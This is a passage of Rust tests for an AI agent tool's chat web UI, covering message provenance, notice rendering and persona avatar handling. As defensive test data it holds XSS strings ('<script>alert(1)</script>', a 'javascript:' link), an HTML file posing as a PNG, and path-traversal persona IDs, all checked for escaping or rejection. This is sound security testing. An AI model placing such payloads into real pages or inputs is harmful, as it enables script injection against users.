14838 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14839 (tmp, home, ui, talk.id, repo)
14840 }
14841
14842 #[tokio::test]
14843 async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
14844 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14845 let mut conversation = ui.talks.get(&id).unwrap();
14846 talk::record(
14847 &mut conversation,
14848 &ui.talks,
14849 "# Update on a task you filed\noperator words",
14850 vec![],
14851 )
14852 .unwrap();
14853 conversation.turns[0].sender = None;
14855 conversation.turns[0].messages.clear();
14856 ui.talks.put(&mut conversation).unwrap();
14857 talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
14858 talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
14859 talk::drain(&mut conversation, &ui.talks).unwrap();
14860 talk::record_reply(
14861 &mut conversation,
14862 &ui.talks,
14863 "about that report",
14864 vec![],
14865 Some(talk::ReplyTarget {
14866 turn: 1,
14867 message: 1,
14868 }),
14869 )
14870 .unwrap();
14871 conversation.turns[2].messages[0]
14872 .reply
14873 .as_mut()
14874 .unwrap()
14875 .sender = None;
14876 conversation.turns.push(talk::Turn {
14877 sender: Some(talk::Sender::Persona),
14878 who: talk::Who::Agent,
14879 body: "magi: actual persona words".into(),
14880 at: Timestamp::now(),
14881 attachments: vec![],
14882 usage: None,
14883 breaks: None,
14884 messages: vec![],
14885 posted_by: None,
14886 });
14887 ui.talks.put(&mut conversation).unwrap();
14888 let view = TalkView::with_config(
14889 ui.talks.get(&id).unwrap(),
14890 false,
14891 None,
14892 &ui.home,
14893 &ui.references,
14894 );
14895 assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
14896 assert_eq!(
14897 view.talk.turns[1].messages[0].sender,
14898 Some(talk::Sender::Operator)
14899 );
14900 assert_eq!(
14901 view.talk.turns[1].messages[1].sender,
14902 Some(talk::Sender::Magi)
14903 );
14904 assert_eq!(
14905 view.talk.turns[2].messages[0]
14906 .reply
14907 .as_ref()
14908 .unwrap()
14909 .sender,
14910 Some(talk::Sender::Magi)
14911 );
14912 assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
14913 assert_eq!(view.turn_messages_md[0].len(), 1);
14914 assert!(view.turn_messages_md[0][0].is_none());
14915 assert!(view.turn_messages_md[1][0].is_none());
14916 assert!(view.turn_messages_md[1][1].is_some());
14917 }
14918
14919 #[tokio::test]
14920 async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
14921 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14922 let mut conversation = ui.talks.get(&id).unwrap();
14923 let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
14924 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14925 talk::queue_notice(
14926 &mut conversation,
14927 &ui.talks,
14928 &body,
14929 "watch:123",
14930 &|_| false,
14931 None,
14932 display.clone(),
14933 )
14934 .unwrap();
14935 assert!(
14936 !talk::queue_notice(
14937 &mut conversation,
14938 &ui.talks,
14939 &body,
14940 "watch:123",
14941 &|_| false,
14942 None,
14943 display.clone()
14944 )
14945 .unwrap()
14946 );
14947 let saved = ui.talks.get(&id).unwrap();
14948 assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
14949 let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
14950 assert!(
14951 view.talk.turns[0].messages[0].display.is_none(),
14952 "operator copy stays literal"
14953 );
14954 assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
14955 assert!(view.turn_messages_md[0][0].is_none());
14956 let queued_md = view.pending_messages_md[0].clone();
14957 assert_eq!(
14958 queued_md,
14959 Some(md::to_nodes(&display.facts, &md::ImageBase::None))
14960 );
14961 talk::drain(&mut conversation, &ui.talks).unwrap();
14962 talk::record_reply(
14963 &mut conversation,
14964 &ui.talks,
14965 "Explain",
14966 vec![],
14967 Some(talk::ReplyTarget {
14968 turn: 1,
14969 message: 0,
14970 }),
14971 )
14972 .unwrap();
14973 let mut saved = ui.talks.get(&id).unwrap();
14974 assert_eq!(saved.turns[1].messages[0].body, body);
14975 assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
14976 let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
14977 assert!(!reply.excerpt.contains("automatic report"));
14978 reply.excerpt = body.chars().take(240).collect(); saved.turns[1].messages[0].display = None; ui.talks.put(&mut saved).unwrap();
14981 let view = TalkView::with_config(
14982 ui.talks.get(&id).unwrap(),
14983 false,
14984 None,
14985 &ui.home,
14986 &ui.references,
14987 );
14988 assert_eq!(view.turn_messages_md[1][0], queued_md);
14989 assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
14990 assert!(
14991 !view.talk.turns[2].messages[0]
14992 .reply
14993 .as_ref()
14994 .unwrap()
14995 .excerpt
14996 .contains("automatic report")
14997 );
14998 assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
14999 }
15000
15001 #[tokio::test]
15002 async fn consultation_display_hides_directives_in_queue_and_history() {
15003 for node in [
15004 "implement",
15005 crate::land::APPROVAL_NODE,
15006 crate::github_text::ASK_NODE,
15007 ] {
15008 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15009 let mut question = Question::new(
15010 "run-123".into(),
15011 node.into(),
15012 "seat-1".into(),
15013 "Which backend?".into(),
15014 "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
15015 vec!["SQLite".into(), "Redis".into()],
15016 );
15017 ui.questions.put(&mut question).unwrap();
15018 let body = crate::prompt::chat_consult(&question);
15019 let mut conversation = ui.talks.get(&id).unwrap();
15020 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15021 assert!(
15022 crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
15023 );
15024 conversation = ui.talks.get(&id).unwrap();
15025 assert_eq!(conversation.pending_messages[0].body, body);
15026 assert!(body.contains("magi answer"));
15027 let mut legacy_pending = conversation.clone();
15028 legacy_pending.pending_messages[0].display = None;
15029 let legacy_view =
15030 TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
15031 let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
15032 assert!(legacy_md.contains("Question consultation"));
15033 assert!(!legacy_md.contains("magi answer"));
15034 let view =
15035 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
15036 assert!(
15037 view.turn_messages_md[0][0].is_none(),
15038 "operator copy stays literal"
15039 );
15040 let queued_md = view.pending_messages_md[0].clone().unwrap();
15041 let rendered = serde_json::to_string(&queued_md).unwrap();
15042 for visible in [
15043 "Which backend?",
15044 "Context",
15045 "storage",
15046 "SQLite",
15047 "Redis",
15048 "<script>literal</script>",
15049 ] {
15050 assert!(rendered.contains(visible), "missing {visible}");
15051 }
15052 for directive in [
15053 "What to do",
15054 "magi answer",
15055 "Never answer it yourself",
15056 "Do not edit the repository",
15057 ] {
15058 assert!(!rendered.contains(directive), "exposed {directive}");
15059 }
15060 assert_eq!(
15061 view.talk.pending_messages[0].display,
15062 Some(crate::prompt::chat_consult_display(&question))
15063 );
15064 talk::drain(&mut conversation, &ui.talks).unwrap();
15065 let view =
15066 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
15067 assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
15068 assert_eq!(conversation.turns[1].messages[0].body, body);
15069
15070 conversation.turns[1].messages[0].display = None;
15073 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15074 let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
15075 assert!(legacy.contains("Question consultation"));
15076 assert!(!legacy.contains("magi answer"));
15077 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15078 }
15079 }
15080
15081 #[test]
15082 fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
15083 let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
15084 let (body, mut display) =
15085 crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
15086 display.facts = facts.into();
15087 let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
15088 assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
15089 let json = serde_json::to_string(&nodes).unwrap();
15090 for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
15091 assert!(json.contains(&format!("\"type\":\"{kind}\"")));
15092 }
15093 assert!(json.contains("<script>alert(1)</script>"));
15094 assert!(!json.contains("javascript:"));
15095 assert!(!json.contains("Tell the operator"));
15096 assert!(!json.contains("untrusted"));
15097 assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
15098 assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
15099 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15100 assert_eq!(
15101 notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
15102 md::to_nodes("# Status", &md::ImageBase::None),
15103 );
15104 }
15105
15106 #[tokio::test]
15107 async fn notification_display_recovers_exact_legacy_completion_references() {
15108 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15109 let mut conversation = ui.talks.get(&id).unwrap();
15110 let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
15111 id: "task-123",
15112 title: "Change",
15113 status: "done",
15114 reason: None,
15115 run: Some("run-123"),
15116 pr: None,
15117 summary: Some("Merge state unknown"),
15118 });
15119 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15120 conversation.turns[0].sender = None;
15121 conversation.turns[0].messages.clear();
15122 conversation.turns[0].breaks = None;
15123 conversation.pending = body.clone();
15124 conversation
15125 .completion_notices
15126 .push(crate::chat_notify::CompletionReference {
15127 task: "task-123".into(),
15128 run: Some("run-123".into()),
15129 notice: body.clone(),
15130 });
15131 ui.talks.put(&mut conversation).unwrap();
15132 let view = TalkView::with_config(
15133 ui.talks.get(&id).unwrap(),
15134 false,
15135 None,
15136 &ui.home,
15137 &ui.references,
15138 );
15139 assert_eq!(
15140 view.talk.turns[0].messages[0].display,
15141 Some(display.clone())
15142 );
15143 assert_eq!(view.talk.pending_messages[0].display, Some(display));
15144 assert_eq!(
15145 view.talk.turns[0].messages[0].sender,
15146 Some(talk::Sender::Magi)
15147 );
15148 assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
15149 conversation.completion_notices[0]
15150 .notice
15151 .push_str("different");
15152 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15153 assert!(view.talk.turns[0].messages.is_empty());
15154 assert!(view.talk.pending_messages.is_empty());
15155 }
15156
15157 #[tokio::test]
15158 async fn avatar_settings_report_states_and_inherit_after_corruption() {
15159 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15160 let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
15161 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
15162 ))
15163 .await;
15164 let path = avatar_setting_path(home.path(), Some("rei"));
15165 let orphan = avatar_setting_path(home.path(), Some("removed"));
15166 save_icon_file(&orphan, icon).unwrap();
15167 for (saved, expected) in [
15168 (icon, "custom"),
15169 ("builtin", "builtin"),
15170 ("data:image/png;base64,!!!!", "inherit"),
15171 ("data:image/png;base64,PGh0bWw+", "inherit"),
15172 ("/tmp/avatar.png", "inherit"),
15173 ] {
15174 atomic_icon_write(&path, saved).unwrap();
15175 let catalog =
15176 avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
15177 .await
15178 .unwrap()
15179 .0;
15180 let personas = catalog["personas"].as_array().unwrap();
15181 let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
15182 assert_eq!(rei["override_state"], expected);
15183 assert_eq!(rei["has_config_icon"], true);
15184 assert_eq!(rei["is_orphan"], false);
15185 let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
15186 assert_eq!(removed["override_state"], "custom");
15187 assert_eq!(removed["is_orphan"], true);
15188 let default = personas.iter().find(|p| p["id"] == "default").unwrap();
15189 assert_eq!(default["override_state"], "inherit");
15190 assert_eq!(default["has_config_icon"], false);
15191 let effective = effective_persona_icon(home.path(), "rei", Some(icon));
15192 assert_eq!(
15193 effective.as_deref(),
15194 Some(if expected == "builtin" { "" } else { icon })
15195 );
15196 }
15197 }
15198
15199 #[tokio::test]
15200 async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
15201 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15202 let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
15203 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
15204 ))
15205 .await;
15206 let target = |id: Option<&str>| AvatarSettingsQuery {
15207 persona: id.map(str::to_owned),
15208 ..Default::default()
15209 };
15210 let original_config = config_for(&repo).await.unwrap();
15211 let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
15212 let original_prompt = persona::section_for(&original_persona, None);
15213 let before = talk_detail(State(ui.clone()), Path(id.clone()))
15214 .await
15215 .unwrap()
15216 .0;
15217 for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
15218 let _ = avatar_settings_put(
15219 State(ui.clone()),
15220 Query(target(persona)),
15221 Json(MagiIconUpload { icon: icon.into() }),
15222 )
15223 .await
15224 .unwrap();
15225 let path = avatar_setting_path(home.path(), persona);
15226 assert!(path.starts_with(home.path().join("avatars")));
15227 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15228 for bad in [
15229 "/tmp/image.png".to_owned(),
15230 "data:image/png;base64,!!!!".to_owned(),
15231 "data:image/png;base64,PGh0bWw+".to_owned(),
15232 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15233 format!(
15234 "data:image/png;base64,{}",
15235 "A".repeat(persona_icon::ICON_MAX_BYTES)
15236 ),
15237 ] {
15238 assert!(
15239 avatar_settings_put(
15240 State(ui.clone()),
15241 Query(target(persona)),
15242 Json(MagiIconUpload { icon: bad })
15243 )
15244 .await
15245 .is_err()
15246 );
15247 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15248 }
15249 }
15250 assert!(read_magi_icon(home.path()).is_none());
15251 assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
15252 let after = talk_detail(State(ui.clone()), Path(id.clone()))
15253 .await
15254 .unwrap()
15255 .0;
15256 assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
15257 assert_ne!(
15258 before
15259 .personas
15260 .iter()
15261 .find(|p| p.id == "magi")
15262 .unwrap()
15263 .avatar,
15264 after
15265 .personas
15266 .iter()
15267 .find(|p| p.id == "magi")
15268 .unwrap()
15269 .avatar
15270 );
15271 let restarted = Arc::new(Ui::new(
15272 Queue::at(home.path().join("queue")),
15273 Questions::at(home.path().join("questions")),
15274 Talks::at(home.path().join("talks")),
15275 home.path().join("runs"),
15276 home.path().to_owned(),
15277 repo,
15278 ));
15279 let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
15280 .await
15281 .unwrap()
15282 .0;
15283 assert!(
15284 catalog["personas"]
15285 .as_array()
15286 .unwrap()
15287 .iter()
15288 .any(|p| p["id"] == "../custom/日本語")
15289 );
15290 for expected in ["custom", "default", "rei"] {
15291 assert!(
15292 catalog["personas"]
15293 .as_array()
15294 .unwrap()
15295 .iter()
15296 .any(|p| p["id"] == expected)
15297 );
15298 }
15299 let response =
15300 operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
15301 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15302 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
15303 .await
15304 .unwrap();
15305 assert_eq!(
15306 effective_persona_icon(home.path(), "rei", Some(icon)),
15307 Some(String::new())
15308 );
15309 let response = talk_avatar(
15310 State(restarted.clone()),
15311 Path(id.clone()),
15312 Query(AvatarQuery {
15313 persona: Some("rei".into()),
15314 ..Default::default()
15315 }),
15316 )
15317 .await
15318 .unwrap();
15319 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
15320 let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
15321 .await
15322 .unwrap()
15323 .0;
15324 assert_ne!(
15325 after
15326 .personas
15327 .iter()
15328 .find(|p| p.id == "rei")
15329 .unwrap()
15330 .avatar,
15331 reset
15332 .personas
15333 .iter()
15334 .find(|p| p.id == "rei")
15335 .unwrap()
15336 .avatar
15337 );
15338 let mut inherit = target(Some("rei"));
15339 inherit.inherit = Some("1".into());
15340 let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
15341 .await
15342 .unwrap();
15343 assert_eq!(
15344 effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
15345 Some(icon)
15346 );
15347 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
15348 .await
15349 .unwrap();
15350 assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
15351 assert_eq!(
15352 read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
15353 Some(icon)
15354 );
15355 let cfg = config_for(&ui.repo).await.unwrap();
15357 let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
15358 assert_eq!(persona::section_for(&resolved, None), original_prompt);
15359 assert!(!original_prompt.contains("data:image"));
15360 assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
15361 let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
15362 assert!(!stored.contains("data:image"));
15363 let mut orphan = ui.talks.get(&id).unwrap();
15364 orphan.persona = "../custom/日本語".into();
15365 let view = TalkView::with_config(
15366 orphan,
15367 false,
15368 Some(&cfg),
15369 home.path(),
15370 &id_links::IndexCache::default(),
15371 );
15372 assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
15373 }
15374
15375 #[tokio::test]
15376 async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
15377 let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
15378 let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15379 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15380 let _ = magi_icon_put(
15381 State(ui.clone()),
15382 Json(MagiIconUpload { icon: icon.into() }),
15383 )
15384 .await
15385 .unwrap();
15386 let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15387 assert_ne!(original, changed);
15388 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15389 let response = magi_avatar(
15390 State(ui.clone()),
15391 Query(AvatarQuery {
15392 persona: None,
15393 builtin: None,
15394 }),
15395 )
15396 .await;
15397 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15398 assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
15399 assert_eq!(
15400 response.headers()[header::X_CONTENT_TYPE_OPTIONS],
15401 "nosniff"
15402 );
15403 for bad in [
15404 "data:image/png;base64,PGh0bWw+".to_owned(),
15405 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15406 "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
15407 ] {
15408 assert!(save_magi_icon(home.path(), &bad).is_err());
15409 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15410 }
15411 let restarted = Arc::new(Ui::new(
15413 Queue::at(home.path().join("queue")),
15414 Questions::at(home.path().join("questions")),
15415 Talks::at(home.path().join("talks")),
15416 home.path().join("runs"),
15417 home.path().to_path_buf(),
15418 repo,
15419 ));
15420 assert_eq!(
15421 magi_icon_get(State(restarted.clone())).await.0["avatar"],
15422 changed
15423 );
15424 let view = TalkView::with_config(
15425 restarted.talks.get(&id).unwrap(),
15426 false,
15427 None,
15428 &restarted.home,
15429 &restarted.references,
15430 );
15431 assert_eq!(view.magi_avatar, changed.as_str().unwrap());
15432 std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
15433 let response = magi_avatar(
15434 State(ui.clone()),
15435 Query(AvatarQuery {
15436 persona: None,
15437 builtin: None,
15438 }),
15439 )
15440 .await;
15441 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
15442 .await
15443 .unwrap();
15444 assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
15445 let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
15446 assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
15447 let _ = magi_icon_delete(State(ui)).await.unwrap();
15448 }
15449
15450 async fn avatar(
15452 ui: &Arc<Ui>,
15453 id: &str,
15454 persona: Option<&str>,
15455 builtin: bool,
15456 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
15457 let res = talk_avatar(
15458 State(Arc::clone(ui)),
15459 Path(id.to_owned()),
15460 Query(AvatarQuery {
15461 persona: persona.map(str::to_owned),
15462 builtin: builtin.then(|| "1".to_owned()),
15463 }),
15464 )
15465 .await
15466 .expect("an avatar is never an error response");
15467 let h = res.headers();
15468 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
15469 let nosniff = h
15470 .get(header::X_CONTENT_TYPE_OPTIONS)
15471 .is_some_and(|v| v == "nosniff");
15472 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
15473 let status = res.status();
15474 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
15475 .await
15476 .expect("body")
15477 .to_vec();
15478 (status, ct, nosniff, csp, body)
15479 }
15480
15481 fn tiny_png() -> Vec<u8> {
15482 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
15483 b.extend_from_slice(&[0u8; 32]);
15484 b
15485 }
15486
15487 #[tokio::test]
15488 async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
15489 let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
15490 let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
15491 assert_eq!(res.status(), StatusCode::OK);
15492 assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
15493 assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
15494 assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
15495 assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
15496 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
15497 .await
15498 .unwrap();
15499 assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
15500 assert_ne!(
15501 persona_icon::operator_svg(),
15502 persona_icon::builtin_svg("default")
15503 );
15504 }
15505
15506 #[tokio::test]
15507 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
15508 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
15509 for p in [
15510 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
15511 ] {
15512 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
15513 assert_eq!(status, StatusCode::OK, "{p}");
15514 assert_eq!(ct, "image/svg+xml", "{p}");
15515 assert!(nosniff && csp, "{p}");
15516 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
15517 }
15518 let own = avatar(&ui, &id, None, false).await;
15520 let default = avatar(&ui, &id, Some("default"), false).await;
15521 assert_eq!(own.4, default.4);
15522 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
15523 assert_eq!(unknown.1, "image/svg+xml");
15524 }
15525
15526 #[tokio::test]
15527 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
15528 let dir = TempDir::new().expect("icons");
15529 let good = dir.path().join("good.png");
15530 std::fs::write(&good, tiny_png()).unwrap();
15531 let spoof = dir.path().join("spoof.png");
15532 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
15533 let big = dir.path().join("big.png");
15534 let mut bytes = tiny_png();
15535 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
15536 std::fs::write(&big, bytes).unwrap();
15537 let missing = dir.path().join("missing.png");
15538 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
15539 let extra = format!(
15540 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
15541 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
15542 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
15543 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
15544 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
15545 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
15546 uri(&good),
15547 uri(&spoof),
15548 uri(&big),
15549 uri(&missing),
15550 );
15551 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
15552
15553 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
15554 assert_eq!(
15555 (status, ct.as_str(), nosniff),
15556 (StatusCode::OK, "image/png", true)
15557 );
15558 assert_eq!(body, tiny_png());
15559 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
15560 assert_eq!(ct, "image/png", "data URI");
15561
15562 for p in ["misato", "asuka", "shinji", "magi"] {
15563 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
15564 assert_eq!(
15565 (status, ct.as_str(), csp),
15566 (StatusCode::OK, "image/svg+xml", true),
15567 "{p}"
15568 );
15569 assert!(body.starts_with(b"<svg"), "{p}");
15570 }
15571 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
15573 assert_eq!(ct, "image/svg+xml");
15574 }
15575
15576 #[tokio::test]
15577 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
15578 let oversized = format!(
15579 "data:image/png;base64,{}",
15580 "A".repeat(persona_icon::ICON_MAX_BYTES)
15581 );
15582 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
15583 let extra = format!(
15584 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
15585 );
15586 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
15587 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15588 .await
15589 .expect("detail with invalid icon");
15590 assert!(detail.personas.iter().any(|p| p.id == "custom"));
15591 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
15592 assert_eq!(status, StatusCode::OK);
15593 assert_eq!(ct, "image/svg+xml");
15594 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
15595 let Json(view) = talk_persona(
15596 State(Arc::clone(&ui)),
15597 Path(id.clone()),
15598 Json(TalkPersona {
15599 persona: "custom".into(),
15600 }),
15601 )
15602 .await
15603 .expect("persona switch with invalid icon");
15604 assert_eq!(view.talk.persona, "custom");
15605 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
15606 }
15607 }
15608
15609 #[tokio::test]
15610 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
15611 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15612 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
15613 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
15614 assert_eq!(
15615 (status, ct.as_str(), nosniff, csp),
15616 (StatusCode::OK, "image/svg+xml", true, true)
15617 );
15618 }
15619
15620 #[tokio::test]
15621 async fn the_talk_view_carries_server_built_avatar_urls_only() {
15622 let (_t, _h, ui, id, _repo) =
15623 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
15624 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15625 .await
15626 .expect("detail");
15627 let json = serde_json::to_string(&detail).unwrap();
15628 assert!(
15629 !json.contains("secret"),
15630 "the icon setting must not leak: {json}"
15631 );
15632 assert!(
15633 detail
15634 .view
15635 .persona_avatar
15636 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
15637 );
15638 assert_eq!(
15639 detail.view.operator_avatar,
15640 format!(
15641 "/avatars/operator.svg?v={}",
15642 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
15643 )
15644 );
15645 assert!(!detail.personas.iter().any(|p| p.id == "operator"));
15646 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
15647 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
15648 assert!(rei.avatar.contains("persona=rei&v="));
15649 assert_ne!(
15650 rei.avatar.split("&v=").nth(1),
15651 plain.avatar.split("&v=").nth(1)
15652 );
15653 }
15654
15655 #[tokio::test]
15656 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
15657 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15658 let cfg = config_for(&repo).await.unwrap();
15659 for arrived in [false, true] {
15660 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
15661 let observed = ui.queued_generation(&id);
15662 let talk = ui.talks.get(&id).unwrap();
15663 if arrived {
15664 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
15665 }
15666 let mut settling = std::pin::pin!(settle_settings_turn(
15667 talk,
15668 ui.talks.clone(),
15669 cfg.clone(),
15670 id.clone(),
15671 turn,
15672 observed
15673 ));
15674 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
15675 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
15676 assert_eq!(first.is_pending(), arrived);
